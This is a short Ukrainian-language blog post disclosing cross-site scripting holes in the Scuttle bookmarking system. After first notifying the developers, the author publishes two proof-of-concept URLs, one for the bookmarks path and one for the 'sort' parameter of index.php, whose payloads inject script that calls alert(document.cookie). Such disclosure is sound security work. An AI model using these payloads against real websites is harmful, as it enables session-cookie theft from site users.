Уразливості в Scuttle
19:44 23.02.200810.12.2007
У травні, 26.05.2007, я знайшов Cross-Site Scripting уразливості в системі Scuttle. Це веб-орієнтована соціальна система закладок. Як раз коли виявив уразливості на zanachka.com, де і використовується цей движок.
Деталі уразливостей з’являться пізніше, спочатку повідомлю розробникам системи.
23.02.2008
Уразливості в Scuttle в розділі bookmarks та в скрипті index.php в параметрі sort.
XSS:
http://site/bookmarks/%3CBODY%20onload=alert(document.cookie)%3E
http://site/?sort=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E
